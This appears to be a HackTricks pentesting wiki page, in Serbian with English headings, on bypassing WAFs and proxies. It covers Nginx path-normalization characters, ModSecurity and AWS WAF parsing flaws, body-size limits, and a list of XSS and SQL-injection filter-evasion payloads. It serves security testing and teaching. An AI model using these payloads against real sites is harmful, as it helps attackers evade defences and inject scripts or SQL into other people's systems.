13 KiB
Proxy / WAF Protections Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
{% embed url="https://websec.nl/" %}
Bypass Nginx ACL Rules with Pathname Manipulation
Tehnike iz ove studije.
Primer Nginx pravila:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Da bi se sprečili zaobilaženja, Nginx vrši normalizaciju putanje pre nego što je proveri. Međutim, ako backend server vrši drugačiju normalizaciju (uklanjajući karaktere koje Nginx ne uklanja), može biti moguće zaobići ovu odbranu.
NodeJS - Express
Nginx Verzija | Node.js Karakteri za zaobilaženje |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Nginx Verzija | Flask Karakteri za zaobilaženje |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Nginx Verzija | Spring Boot Karakteri za zaobilaženje |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Nginx FPM konfiguracija:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx je konfigurisan da blokira pristup /admin.php
, ali je moguće zaobići ovo pristupom /admin.php/index.php
.
Kako sprečiti
location ~* ^/admin {
deny all;
}
Bypass Mod Security Rules
Path Confusion
U ovom postu objašnjeno je da ModSecurity v3 (do 3.0.12), nepravilno implementira REQUEST_FILENAME
varijablu koja je trebala da sadrži pristupnu putanju (do početka parametara). To je zato što je izvršavao URL dekodiranje da bi dobio putanju.
Zato, zahtev kao http://example.com/foo%3f';alert(1);foo=
u mod security će pretpostaviti da je putanja samo /foo
jer se %3f
transformiše u ?
koji završava URL putanju, ali zapravo putanja koju server prima biće /foo%3f';alert(1);foo=
.
Varijable REQUEST_BASENAME
i PATH_INFO
su takođe bile pogođene ovom greškom.
Nešto slično se dogodilo u verziji 2 Mod Security koja je omogućila zaobilaženje zaštite koja je sprečavala korisnike da pristupaju datotekama sa specifičnim ekstenzijama vezanim za rezervne datoteke (kao što su .bak
) jednostavno slanjem tačke URL kodirane u %2e
, na primer: https://example.com/backup%2ebak
.
Bypass AWS WAF ACL
Malformed Header
Ova istraživanja pominju da je bilo moguće zaobići AWS WAF pravila primenjena na HTTP zaglavlja slanjem "neispravnog" zaglavlja koje nije pravilno analizirano od strane AWS-a, ali jeste od strane backend servera.
Na primer, slanjem sledećeg zahteva sa SQL injekcijom u zaglavlju X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Moguće je zaobići AWS WAF jer nije razumeo da je sledeća linija deo vrednosti zaglavlja dok je NODEJS server to razumeo (ovo je ispravljeno).
Generički WAF zaobilaženja
Ograničenja veličine zahteva
Obično WAF-ovi imaju određeno ograničenje dužine zahteva za proveru i ako je POST/PUT/PATCH zahtev veći od toga, WAF neće proveriti zahtev.
- Za AWS WAF, možete proveriti dokumentaciju:
Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od Application Load Balancer i AWS AppSync | 8 KB |
Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access** | 64 KB |
- Iz Azure dokumenata:
Stariji Web Application Firewalls sa Core Rule Set 3.1 (ili nižim) dozvoljavaju poruke veće od 128 KB isključivanjem inspekcije tela zahteva, ali te poruke neće biti proverene na ranjivosti. Za novije verzije (Core Rule Set 3.2 ili novije), isto se može uraditi isključivanjem maksimalnog ograničenja veličine tela zahteva. Kada zahtev premaši ograničenje veličine:
Ako je mod prevencije: Zapisuje i blokira zahtev.
Ako je mod detekcije: Pregleda do ograničenja, ignoriše ostatak i beleži ako Content-Length
premaši ograničenje.
- Iz Akamai:
Podrazumevano, WAF pregledava samo prvih 8KB zahteva. Može povećati ograničenje do 128KB dodavanjem Naprednih Metapodataka.
- Iz Cloudflare:
Do 128KB.
Obfuskacija
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicode Kompatibilnost
U zavisnosti od implementacije Unicode normalizacije (više informacija ovde), karakteri koji dele Unicode kompatibilnost mogu biti u mogućnosti da zaobiđu WAF i izvrše se kao predviđeni payload. Kompatibilni karakteri se mogu naći ovde.
Primer
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
H2C Smuggling
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
IP Rotation
- https://github.com/ustayready/fireprox: Generišite URL API gateway-a koji će se koristiti sa ffuf
- https://github.com/rootcathacking/catspin: Slično fireprox
- https://github.com/PortSwigger/ip-rotate: Burp Suite dodatak koji koristi IP adrese API gateway-a
- https://github.com/fyoorer/ShadowClone: Dinamički određeni broj instanci kontejnera se aktivira na osnovu veličine ulazne datoteke i faktora deljenja, pri čemu se ulaz deli na delove za paralelno izvršavanje, kao što je 100 instanci koje obrađuju 100 delova iz ulazne datoteke od 10.000 redova sa faktorom deljenja od 100 redova.
Regex Bypasses
Različite tehnike se mogu koristiti za zaobilaženje regex filtera na vatrozidima. Primeri uključuju naizmenično korišćenje velikih i malih slova, dodavanje preloma linija i kodiranje payload-a. Resursi za različite zaobilaženja mogu se naći na PayloadsAllTheThings i OWASP. Primeri u nastavku su preuzeti iz ovog članka.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Alati
- nowafpls: Burp dodatak za dodavanje beskorisnih podataka u zahteve kako bi se zaobišli WAF-ovi po dužini
Reference
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.